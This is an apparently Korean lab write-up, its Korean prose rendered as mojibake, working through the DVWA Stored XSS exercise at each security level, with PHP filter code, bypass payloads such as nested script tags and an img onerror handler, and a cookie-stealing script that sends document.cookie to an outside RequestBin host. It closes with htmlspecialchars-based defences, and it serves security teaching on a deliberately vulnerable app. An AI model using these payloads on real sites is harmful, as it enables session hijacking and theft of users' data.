Vulnerability:XSS (Stored)
XSS ์ทจ์ฝ์ ์ ์ฌ์ฉ์์ ์ ๋ ฅ ๊ฐ์ HTML์์ ์ถ๋ ฅํ๋ ๋ถ๋ถ์์ ๋ฐ์ํ๋ค. ๋ณธ ์ค์ต์์๋ ์์์ ๋ค๋ฃฌ DVWA Reflected XSS ์ทจ์ฝ์ (์ ๋ ฅ ๊ฐ์ด ๋ฐ์ฌ๋์ด ์ถ๋ ฅ๋๋ ๊ฒฝ์ฐ์ ๋ํ XSS)์ ๋ฌ๋ฆฌ ๊ณต๊ฒฉ์ ๊ฒฐ๊ณผ๊ฐ ์๋ฒ์ ๋จ๊ธฐ ๋๋ฌธ์ ํจ์ฌ ์ํํ ๊ณต๊ฒฉ์ธ Stored XSS์ ๋ํ์ฌ ๋ค๋ฃฌ๋ค. ์ฆ, ์ ์ฅ ๊ฐ๋ฅํ XSS๊ฐ ๊ฐ๋ฅํ์ง ์ฌ๋ถ๋ฅผ ํ์ธํ๋ค.
DVWA XSS(Stored) ์ค์ต
์ค์ต ํ๊ฒฝ
- Windows Docker๋ฅผ ์ด์ฉํ DVWA
- Windows ํ๊ฒฝ์ Burp Suite
ํด๋น ์ค์ต ํ์ด์ง์ ์ ์ํ๋ฉด ๋ค์๊ณผ ๊ฐ๋ค.

Name๊ณผ Message๋ฅผ ์ ๋ ฅํ ์ ์๋ ์ ๋ ฅ์ฐฝ์ด ์กด์ฌํ๊ณ , ์ ๋ ฅ์ฐฝ ์๋์ ์์๋ฅผ ๋ณด๋ฉด Name๊ณผ Message์ ์ ๋ณด๊ฐ ์ถ๋ ฅ๋๊ณ ์๋ค๋ ๊ฒ์ ์ ์ ์๋ค.
ํด๋น ์ ๋ ฅ์ฐฝ์ ๋ํ์ฌ ์ดํด๋ณด๋ฉด ๋ค์๊ณผ ๊ฐ๋ค.

์์ HTML ์ฝ๋๋ฅผ ์ดํด๋ณด๋ฉด Name(txtName)์ ๊ฒฝ์ฐ ์์ฑ ๊ฐ๋ฅํ ์ต๋ ๊ธธ์ด(maxlength)๊ฐ 10์ผ๋ก ์ค์ ๋์ด ์๊ณ , Message(txtMessage)์ ๊ฒฝ์ฐ ์์ฑ ๊ฐ๋ฅํ ์ต๋ ๊ธธ์ด(maxlength)๊ฐ 50์ผ๋ก ์ค์ ๋์ด ์๋ ๊ฒ์ ํ์ธํ ์ ์๋ค.
๊ทธ๋ฐ๋ฐ ์ผ๋ฐ์ ์ผ๋ก XSS์ ๊ฒฝ์ฐ ๊ธธ์ด๊ฐ 10~50 ๋ณด๋ค ๋ง์์ง ๊ฐ๋ฅ์ฑ์ด ๋๋ค. ๊ทธ๋ฌ๋ฏ๋ก Intercept๋ฅผ ํตํด ์๋ต ๋ณ์กฐ๋ฅผ ํ์ฌ ์ต๋ ๊ธธ์ด๋ฅผ ๋๋ ค์ฃผ์ด ๋ ๋ง์ ์์ ์ ๋ ฅ ๊ฐ๋ฅํ๋๋ก ํ์ฌ ์งํํ๋ค.


์์ ๊ฐ์ด ์ต๋ ๊ธธ์ด๋ฅผ ๋๋ ค์ฃผ๋ฉด, ๊ฐ๊ฐ์ ์ ํ์ด 100์ผ๋ก ๋ฐ๋์ด์ง ๊ฒ์ ํ์ธํ ์ ์๋ค.
Security Level: Low
< ' " > ํ์ธํ๊ธฐ
๋จผ์ XSS ๊ฐ๋ฅ ์ฌ๋ถ๋ฅผ ํ์ธํ๊ธฐ ์ํด < ' " > ๋ฅผ ์ ๋ ฅํด๋ณธ๋ค.

์์ ๊ฐ์ด Name๊ณผ Message์ < ' " >๋ฅผ ์ ๋ ฅํ๋ ๊ฒฝ์ฐ ๋ค์๊ณผ ๊ฐ์ ๊ฒฐ๊ณผ๊ฐ ๋์จ๋ค.



Low ๋ ๋ฒจ์ ๊ฒฝ์ฐ ์ ๋๋ก๋ ์กฐ์น๊ฐ ์ทจํด์ง์ง ์์, ์์ ๊ฐ์ด ์ ๋ ฅํ < ' " >๊ฐ ๊ทธ๋๋ก ์ถ๋ ฅ๋๊ณ ์๋ ๊ฒ์ ํ์ธํ ์ ์๋ค.
ํด๋น ์ฝ๋๋ฅผ ์ดํด๋ณด๋ฉด ๋ค์๊ณผ ๊ฐ๋ค.

// Sanitize message input
stripslashes( $message );
.์์ ๊ฐ์ด stripslashes๊ฐ ์ ์ฉ๋์ด ์๋๋ฐ ์ด๊ฒ์ ์ญ์ฌ๋์(๏ผผ)๋ฅผ ์ ๊ฑฐํ๋ ํจ์๋ก์, ์๋ฏธ๊ฐ ์๋ค๊ณ ๋ณผ ์ ์๋ค.
Script ์ฝ์ ํ๊ธฐ
<script>alert(document.cookie);</script>
์์ ์ฟ ํค(cookie)๊ฐ์ ์ถ๋ ฅํ๋ script๋ฅผ Name๊ณผ Message ์ ๋ ฅ์ ๋ฃ์ด์ค๋ค.

์์ ๊ฐ์ด ๋ฃ์ด์ค ๊ฒฐ๊ณผ๋ ๋ค์๊ณผ ๊ฐ๋ค.


์์ ๊ฐ์ด ์๋ฆผ์ฐฝ 2ํ,์ฟ ํค๊ฐ์ด ํฌํจ๋์ด ์ถ๋ ฅ๋๋ ๊ฒ์ ํ์ธํ ์ ์๋ค.

๊ทธ ํ ์์ ๊ฐ์ด ์ ์ฅ๋ GeustBook์ ๊ฐ์ด Name๊ณผ Message ๋ชจ๋ ๋น์ด์๋ ๊ฒ์ ํ์ธํ ์ ์๋ค.
Low ๋ ๋ฒจ์ ๊ฒฝ์ฐ Name๊ณผ Message ๋ชจ๋์ XSS๊ฐ ๊ฐ๋ฅํ ๊ฒ์ ํ์ธํ ์ ์๋๋ฐ ์ด๋ฅผ Burp Suite๋ก ํ์ธํด๋ณด๋ฉด ๋ค์๊ณผ ๊ฐ๋ค.


์์ ๊ฐ์ด ์คํฌ๋ฆฝํธ๊ฐ 2ํ ํ์ฑํ๋์ด ์๋ ๊ฒ์ ํ์ธํ ์ ์๋ค.
Security Level: Medium
< ' " > ํ์ธํ๊ธฐ
๋จผ์ XSS ๊ฐ๋ฅ ์ฌ๋ถ๋ฅผ ํ์ธํ๊ธฐ ์ํด < ' " > ๋ฅผ ์ ๋ ฅํด๋ณธ๋ค.

์์ ๊ฐ์ด Name๊ณผ Message์ < ' " >๋ฅผ ์ ๋ ฅํ๋ ๊ฒฝ์ฐ ๋ค์๊ณผ ๊ฐ์ ๊ฒฐ๊ณผ๊ฐ ๋์จ๋ค.



Medium ๋ ๋ฒจ์ ๊ฒฝ์ฐ Name์์๋ < ' " >๊ฐ ๊ทธ๋๋ก ์ถ๋ ฅ๋์ง๋ง Message์์๋ ์ง์์ ธ์๋ ๊ฒ์ ํ์ธํ ์ ์๋ค.
ํด๋น ์ฝ๋๋ฅผ ์ดํด๋ณด๋ฉด ๋ค์๊ณผ ๊ฐ๋ค.

// Sanitize message input
$message = strip_tags( addslashes( $message ) );
// Sanitize name input
$name = str_replace( '<script>', '', $name );
์์ ๊ฐ์ด Name์์๋ <script>๋ผ๋ ๋ฌธ์์ด๋ง ๊ณต๋ฐฑ๋ฌธ์๋ก ์นํํ๊ณ ์๊ณ , Message์ ๊ฒฝ์ฐ์๋ strip_tags๋ผ๋ ํจ์๋ฅผ ์ด์ฉํ์ฌ ๋ชจ๋ <tag>๋ฅผ ์ญ์ ํ๊ณ ์๋ ๊ฒ์ ํ์ธํ ์ ์๋ค. ๊ทธ๋์ < ' " >๊ฐ ํ๊ทธ๋ก ์ทจ๊ธ๋์ด ์ญ์ ๋ ๊ฒ์ด๋ค. ๊ทธ๋ฌ๋ฏ๋ก Medium ๋ ๋ฒจ์ ๊ฒฝ์ฐ Message์ ๋ํด์๋ XSS๊ฐ ๋ถ๊ฐ๋ฅํ๊ณ , Name์ ๋ํด์๋ง XSS๊ฐ ๊ฐ๋ฅํ๋ค๊ณ ํ๋จํ๊ณ ์งํํ๋ค.
Script ์ฝ์ ํ๊ธฐ
์์ ์ฝ๋์์ ์ดํด๋ดค๋ฏ์ด <script>๋ฅผ ๊ณต๋ฐฑ๋ฌธ์๋ก ์นํํ๊ณ ์๋ค. ํ์ง๋ง ์์ ๊ฐ์ด ํน์ ๋จ์ด๋ง์ ์นํํ๋ ๊ฒฝ์ฐ์๋ ํด๋น ๋ฌธ์ ์ฌ์ด์ ํํฐ๋ง ๋๋ ๋ฌธ์๋ฅผ ์ฝ์ ํ๋ ๋ฐฉ์์ผ๋ก ์ฐํ๊ฐ ๊ฐ๋ฅํ๋ค.
<script> -> <scr<script>ipt>
์์ ๊ฐ์ด ์ ๋ ฅํ๋ ๊ฒฝ์ฐ <script> ๊ฐ ๊ณต๋ฐฑ์ด ๋๋ฉด์ <scr ๊ณผ ipt> ๊ฐ ๋ถ๊ฒ ๋์ด <script> ๊ฐ ๋๋ค๋ ๊ฒ์ด๋ค.
๊ทธ๋ฌ๋ฏ๋ก ๋ค์๊ณผ ๊ฐ์ด ์ ๋ ฅํ๋ ๊ฒฝ์ฐ ์ฐํ๊ฐ ๊ฐ๋ฅํ๋ค.
<scr<script>ipt>alert(document.cookie);</script>

์์ ๊ฐ์ด ์ ๋ ฅํ๋ ๊ฒฝ์ฐ ๋ค์๊ณผ ๊ฐ์ด script ํ๊ทธ๊ฐ ํ์ฑํ๋์ด ์๋ฆผ์ฐฝ์ ์ฟ ํค ๊ฐ์ด ํฌํจ๋์ด ์ถ๋ ฅ๋๋ ๊ฒ์ ํ์ธํ ์ ์๋ค.

๊ทธ ํ ์ ๋ ฅ๋ Gusetbook์ ํ์ธํด๋ณด๋ฉด ๋ค์๊ณผ ๊ฐ๋ค.



์์ ๊ฐ์ด Name ๋ถ๋ถ์ script ํ๊ทธ๋ ํ์ฑํ ๋์ด์๊ณ , Message ๋ถ๋ถ์ ๊ฒฝ์ฐ script๊ฐ ์ญ์ ๋๊ณ alert ๋ถ๋ถ๋ง ๋จ์์๋ ๊ฒ์ ํ์ธํ ์ ์๋ค.
Security Level: High
< ' " > ํ์ธํ๊ธฐ
๋จผ์ XSS ๊ฐ๋ฅ ์ฌ๋ถ๋ฅผ ํ์ธํ๊ธฐ ์ํด < ' " > ๋ฅผ ์ ๋ ฅํด๋ณธ๋ค.

์์ ๊ฐ์ด Name๊ณผ Message์ < ' " >๋ฅผ ์ ๋ ฅํ๋ ๊ฒฝ์ฐ ๋ค์๊ณผ ๊ฐ์ ๊ฒฐ๊ณผ๊ฐ ๋์จ๋ค.



High ๋ ๋ฒจ์ ๊ฒฝ์ฐ Name์์๋ < ' " >๊ฐ ๊ทธ๋๋ก ์ถ๋ ฅ๋์ง๋ง Message์์๋ ์ง์์ ธ์๋ ๊ฒ์ ํ์ธํ ์ ์๋ค.
ํด๋น ์ฝ๋๋ฅผ ์ดํด๋ณด๋ฉด ๋ค์๊ณผ ๊ฐ๋ค.

// Sanitize message input
$message = strip_tags( addslashes( $message ) );
// Sanitize name input
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name );
์์ ๊ฐ์ด Name์์๋ PHP์ preg_replace() ํจ์๋ฅผ ์ด์ฉํ์ฌ <*s*c*r*i*p*t ๊ท์น์ ํด๋นํ๋ ๋ฌธ์์ด์ ๋์๋ฌธ์ ๊ตฌ๋ถํ์ง ์๊ณ ์ ๊ฑฐํด๋ฒ๋ฆฐ๋ค.
์ฆ, "<script", "<SCRIPT", "<SC\RIPT", "</script", "</SCRIPT", "</SC/**/RIPT" ๋ฑ์ ๋ฌธ์์ด๋ก ์์ํ๋ ๋ฌธ์์ด์ ์ ๊ฑฐํ๋ค๋ ๊ฒ์ด๋ค. ๋๋ฌธ์ <script> ํ๊ทธ๋ฅผ ์ด์ฉํ๋ ๋ฐฉ๋ฒ์ ๋ถ๊ฐ๋ฅํ๋ค. ํ์ง๋ง script๋ฅผ ์ฝ์ ํ๋ ๋ฐฉ๋ฒ์ด <script> ํ๊ทธ๋ง ์๋ ๊ฒ์ด ์๋๋ผ๋ ๊ฒ์ ์๊ฐํด์ผ ํ๋ค.
(OWASP์ XSS ํํฐ๋ง ์ฐํ๋ฒ(XSS Filter Evasion Cheat Sheet)์ ์ดํด๋ณด๋ฉด ๋๋ฌด๋ ๋ง์ ๋ฐฉ๋ฒ์ด ์๋ค.)
Message์ ๊ฒฝ์ฐ์๋ strip_tags๋ผ๋ ํจ์๋ฅผ ์ด์ฉํ์ฌ ๋ชจ๋ <tag>๋ฅผ ์ญ์ ํ๊ณ ์๋ ๊ฒ์ ํ์ธํ ์ ์๋ค. ๊ทธ๋์ < ' " >๊ฐ ํ๊ทธ๋ก ์ทจ๊ธ๋์ด ์ญ์ ๋ ๊ฒ์ด๋ค. ๊ทธ๋ฌ๋ฏ๋ก Medium ๋ ๋ฒจ์ ๊ฒฝ์ฐ Message์ ๋ํด์๋ XSS๊ฐ ๋ถ๊ฐ๋ฅํ๋ค.
Script ์ฝ์ ํ๊ธฐ
์ฌ๊ธฐ์๋ img ํ๊ทธ๋ฅผ ์ด์ฉํ ๋ฐฉ๋ฒ์ ์ด์ฉํ ๊ฒ์ด๋ค.
<img src=x onerror=alert(document.cookie);>

์์ ๊ฐ์ด ์ ๋ ฅํ๋ ๊ฒฝ์ฐ ๊ฒฐ๊ณผ๋ ๋ค์๊ณผ ๊ฐ๋ค.

์์ ๊ฐ์ด ์คํฌ๋ฆฝํธ๊ฐ ํ์ฑํ๋์ด ์๋ฆผ์ฐฝ์ ์ฟ ํค ๊ฐ์ด ์ถ๋ ฅ๋๋ ๊ฒ์ ํ์ธํ ์ ์๋ค.
๊ทธ ํ Guestbook์ ํ์ธํด๋ณด๋ฉด ๋ค์๊ณผ ๊ฐ์ด ๊นจ์ง image๋ฅผ ํ์ธํ ์ ์๋ค.

์ด๋ฅผ Burp Suite๋ก ํ์ธํด๋ณด๋ฉด ๋ค์๊ณผ ๊ฐ๋ค.


์์ ๊ฐ์ด Name ๋ถ๋ถ์ ์คํฌ๋ฆฝํธ๊ฐ ํ์ฑํ๋์ด ์๊ณ , Message ๋ถ๋ถ์ ๊ฒฝ์ฐ๋ ์ ๋ ฅ๊ฐ์ด ์ญ์ ๋ ๊ฒ์ ํ์ธํ ์ ์๋ค.

๋ํ ์์ ๊ฐ์ด src=x , ์ฆ img ๋ฅผ ๋ถ๋ฌ์ค๋ ๊ฒ์ ์คํจํ๋ค๋ ๊ฒ์ ํ์ธํ ์ ์๋ค.
Security Level: Impossible
< ' " > ํ์ธํ๊ธฐ
๋จผ์ XSS ๊ฐ๋ฅ ์ฌ๋ถ๋ฅผ ํ์ธํ๊ธฐ ์ํด < ' " > ๋ฅผ ์ ๋ ฅํด๋ณธ๋ค.

์์ ๊ฐ์ด Name๊ณผ Message์ < ' " >๋ฅผ ์ ๋ ฅํ๋ ๊ฒฝ์ฐ ๋ค์๊ณผ ๊ฐ์ ๊ฒฐ๊ณผ๊ฐ ๋์จ๋ค.



Impossible ๋ ๋ฒจ์ ๊ฒฝ์ฐ Name๊ณผ Message ๋ชจ๋ HTML Entity๋ก ๋ณํ๋๋ ๊ฒ์ ํ์ธํ ์ ์๋ค.
ํด๋น ์ฝ๋๋ฅผ ์ดํด๋ณด๋ฉด ๋ค์๊ณผ ๊ฐ๋ค.

// Sanitize message input
$message = stripslashes( $message );
$message = htmlspecialchars( $message );
// Sanitize name input
$name = stripslashes( $name );
$name = htmlspecialchars( $name );
์์ ๊ฐ์ด htmlspecialchars๋ฅผ ์ด์ฉํ์ฌ ์ ๋ ฅ ๊ฐ์ HTML Entity๋ก ๋ณํํ๋ค. ์ฆ, Impossible ๋ ๋ฒจ์ ๊ฒฝ์ฐ XSS๊ฐ ๋ถ๊ฐ๋ฅํ๋ค๋ ๊ฒ์ ํ์ธํ ์ ์๋ค.
Sanitize - PHP ํจ์
PHP์์ ๋ฌธ์์ด์ ํ์ํ ๋, "(ํฐ ๋ฐ์ดํ)์ '(์์ ๋ฐ์ดํ)๊ฐ ๋ฌธ์์ด์ ํฌํจ๋์ด ์๋ ๊ฒฝ์ฐ ์ค๋ฅ๊ฐ ๋ฐ์ํ๋ ๊ฒฝ์ฐ๊ฐ ์๋ค. DB์์ ๊ฐ์ ๊ฐ์ ธ์ฌ ๋, ๋๋ ๋ฃ์ ๋ ์ด๋ฌํ ์ค๋ฅ๋ฅผ ๋ฐฉ์งํ๊ณ ์ addslashes์ stripslashes๋ฅผ ์ฌ์ฉํ๋ค. ์ฌ์ฉ์, ์ด์ค์ผ์ดํ ์ฒ๋ฆฌ๋๋ฉฐ ์ค๋ฅ์์ด ์คํํ ์ ์๋ค.
addslashes
addslashes๋ PHP์์ ์ญ์ฌ๋์(๏ผผ)๋ฅผ ์ถ๊ฐํ๋ ํจ์์ด๋ค.
(ํน์ ๋ฌธ์์ด single quote ('), double quote ("), backslash (\), NUL (the NUL byte)๋ฑ์ (๏ผผ '), (๏ผผ "), (๏ผผ ๏ผผ) , (๏ผผ )๋ก ๊ต์ฒดํ๋ค.)
addslashes(string $string): string
stripslashes
stripslashes๋ PHP์์ ์ญ์ฌ๋์(๏ผผ)๋ฅผ ์ ๊ฑฐํ๋ ํจ์์ด๋ค.
(์ธ์ฉ๋ ๋ฌธ์์ด์ ์ธ์ฉ ํด์ ํ๋ค.)
stripslashes ( string $string ) : string
์ด์ค์ผ์ดํ(escape)๊ฐ ํ์ํ ์ฅ์ (์ : ๋ฐ์ดํฐ๋ฒ ์ด์ค)์ ๋ฐ์ดํฐ๋ฅผ ์ฝ์
ํ์ง ์๋ ๊ฒฝ์ฐ, stripslashes()๋ฅผ ์ฌ์ฉํ ์ ์๋ค.
ex) HTML ์์์์ ์ง์ ๋ฐ์ดํฐ๋ฅผ ์ถ๋ ฅํ๋ ๊ฒฝ์ฐ
์ญ์ฌ๋์(๏ผผ)๊ฐ ์ ๊ฑฐ ๋ ๋ฌธ์์ด์ ๋ฐํํ๋ค. ('๏ผผ'๋ '๊ฐ ๋๋ค.) ์ด์ค ์ญ์ฌ๋์ (๏ผผ๏ผผ๏ผผ๏ผผ)๋ ๋จ์ผ ์ญ์ฌ๋์ (๏ผผ๏ผผ)๋ก ๋ฐ๋๋ค.
stripslashes()๋ ์ฌ๊ท์ ์ด์ง ์์ผ๋ฏ๋ก, ์ด ํจ์๋ฅผ ๋ค์ฐจ์ ๋ฐฐ์ด์ ์ ์ฉํ๋ ค๋ฉด ์ฌ๊ท ํจ์๋ฅผ ์ฌ์ฉํ๋ค.
strip_tags
strip_tags๋ ๋ฌธ์์ด์์ HTML ํ๊ทธ์ PHP ํ๊ทธ๋ฅผ ์ ๊ฑฐํ๋ ํจ์์ด๋ค.
strip_tags ( string $str [, string $allowable_tags ] )
allowable_tags๋ก ์ ๊ฑฐํ์ง ์์ ํ๊ทธ๋ฅผ ์ ํ ์ ์๋ค. (์์ธ ์ฒ๋ฆฌ)
htmlspecialchars
ํน์ ๋ฌธ์๋ฅผ HTML Entity๋ก ๋ณํํ๋ค.
๊ณต๊ฒฉ ์๋๋ฆฌ์ค
์์ ์ทจ์ฝ์ ์ ์ด์ฉํ ๊ณต๊ฒฉ ์๋๋ฆฌ์ค๋ฅผ ํ ์คํธ ํด๋ณผ ๊ฒ์ด๋ค. (Low ๋ ๋ฒจ์์ ์งํํ์๋ค.)
๊ณต๊ฒฉ์์ ์ฃผ์๋ RequestBin์ ์ด์ฉํ ๊ฒ์ด๋ค. ๊ณต๊ฒฉ์์ ์ฃผ์๋ก ์ฟ ํค ๊ฐ์ ๋ณด๋ด๋๋กํ๋ script๋ ๋ค์๊ณผ ๊ฐ๋ค.
<script>
var cookieData = document.cookie;
var i = new Image();
i.src = "https://en1ea7nmmqf85.x.pipedream.net/?cookie="+cookieData;
</script>

์์ ๊ฐ์ด ์ ๋ ฅํ๋ ๊ฒฝ์ฐ ๊ฒฐ๊ณผ๋ ๋ค์๊ณผ ๊ฐ๋ค.

์์ ๊ฐ์ด Message ๋ถ๋ถ์ด ์คํฌ๋ฆฝํธ๊ฐ ํ์ฑํ๋์ด ์น์์๋ ์๋ฌด๋ฐ ๋ฉ์์ง๊ฐ ์ ๋ ฅ๋์ง ์์ ๊ฒ์ฒ๋ผ ๋ณด์ธ๋ค. ํ์ง๋ง ์ด๊ฒ์ Burp Suite๋ฅผ ์ด์ฉํ์ฌ ํ์ธํด๋ณด๋ฉด ๋ค์๊ณผ ๊ฐ์ด ์คํฌ๋ฆฝํธ ํ๊ทธ๊ฐ ํ์ฑํ๋์ด ์๋ ๊ฒ์ ํ์ธํ ์ ์๋ค.


๊ทธ ํ ๋ค์๊ณผ ๊ฐ์ด ์ฟ ํค ๊ฐ์ ๊ณต๊ฒฉ์ ์๋ฒ๋ก ๋ณด๋ด๊ณ ์๋ ๊ฒ์ ์ ์ ์๋ค.



๊ทธ๋ฆฌ๊ณ RequestBin์ ํ์ธํด๋ณด๋ฉด ๋ค์๊ณผ ๊ฐ์ด ์ฟ ํค ๊ฐ์ด ์ ๋ฌ๋์ด ์จ ๊ฒ์ ํ์ธํ ์ ์๋ค.

์์ ๊ฐ์ด Stored XSS๋ฅผ ์ด์ฉํ๋ฉด ๊ณต๊ฒฉ์๊ฐ ํด๋น ๊ธ์ ์ ๊ทผํ ์ด์ฉ์์ ์ธ์ ์ ๋ณด๋ฅผ ํ์ทจํ ์ ์๊ณ , ๊ณต๊ฒฉ์๋ ์ด๋ฅผ ์ด์ฉํ์ฌ ํด๋น ์น ์ ํ๋ฆฌ์ผ์ด์ ์ ์ ์ํ์ฌ ์ด์ฉ์์ ์ ๋ณด๋ฅผ ํ์ทจํ๋ ๊ฒ์ด ๊ฐ๋ฅํด์ง๋ค.
XSS ๋์
ํฌ๋ก์ค์ฌ์ดํธ ์คํฌ๋ฆฝํธ ๊ณต๊ฒฉ(XSS, Cross-site Scripting)์ ์๋ฒ๊ฐ ์ ๋ ฅ ๊ฐ์ ์ ๋๋ก ๊ฒ์ฆํ๋ ์๋ ๊ฒฝ์ฐ์ ๋ฐ์ํ๊ฒ ๋๋ค. ํนํ Stored XSS์ ๊ฒฝ์ฐ ๋ถํน์ ๋ค์๋ฅผ ๋์์ผ๋ก ์ง์์ ์ธ ๊ณต๊ฒฉ์ด ๊ฐ๋ฅํ๋ค. ๋ํ ํน์ ์์์ ๋์์ ๋ํ ํ์ ๊ณต๊ฒฉ ๋ํ ๊ฐ๋ฅํ ๋ฑ, Reflected XSS์ ๋นํด์ ๋ค์ํ ๋ฐฉ๋ฒ์ ๊ณต๊ฒฉ ์๋๋ฆฌ์ค๊ฐ ๊ฐ๋ฅํ๊ธฐ ๋๋ฌธ์ ๋งค์ฐ ์ํํ๋ค.
HTML Entity๋ฅผ ์ ์ฉํ๋ฉด ๊ฑฐ์ ๋ชจ๋ ๊ณต๊ฒฉ์ ๋ง๋ ๊ฒ์ด ๊ฐ๋ฅํ๋ค.
PHP์ ๊ฒฝ์ฐ HTML์์ ์ถ๋ ฅ๋๋ ๋ชจ๋ ์ ๋ ฅ์ ๋ํด์ htmlspecialchars() ํจ์๋ htmlentities() ํจ์๋ฅผ ์ ์ฉํ์ฌ ์ ๋ ฅ๋๋ ํน์๋ฌธ์๋ค์ ๋ํ์ฌ HTML Entity๋ฅผ ์ ์ฉํ์ฌ ๊ฑฐ์ ๋ชจ๋ ๊ณต๊ฒฉ์ ์ฐจ๋จํ ์ ์๋ค.
์ง๋ฌธ ํ์, ์์ ๋ฐ ๋ณด์์ ๋ํ ์ง์ ํ์